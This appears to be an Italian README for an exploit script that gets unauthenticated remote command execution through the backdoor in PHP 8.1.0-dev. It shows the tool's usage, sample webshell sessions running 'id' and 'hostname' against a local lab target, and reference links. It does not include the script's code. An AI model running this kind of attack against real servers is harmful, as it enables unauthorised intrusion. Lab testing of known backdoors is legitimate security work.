PHP 8.1.0-dev WebShell RCE (Non autenticato)

Codice Exploit per PHP 8.1.0-dev WebShell RCE (Non autenticato)

Risultato atteso: sfruttare la backdoor installata sul server PHP 8.1.0-dev ottenendo così una WebShell per eseguire comandi da remoto.

Destinato solo a scopo educativo e a test in ambienti aziendali.

Questo Exploit è stato testato su Python 3.8.6

Utilizzo:

cfx:  ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]

PHP 8.1.0-dev WebShell RCE by ColdFusionX

optional arguments:
  -h, --help         show this help message and exit
  -l URL, --url URL  PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)

Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami

Input utente :

Questo exploit richiede un singolo argomento per essere eseguito inizialmente :

• -l : URL del target PHP 8.1.0-dev

POC

• Scenario 1 : Target valido e vulnerabile

cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Target is running on PHP 8.1.0-dev

*Shoot your commands below* 

[^] WebShell=- id

uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)

[^] WebShell=- hostname

shockwave

[^] WebShell=- ^C
Exiting.

• Scenario 2 : Target non valido

cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Invalid URL or Target Not Vulnerable

Riferimenti

• https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
• https://news-web.php.net/php.internals/113838
• https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
• https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a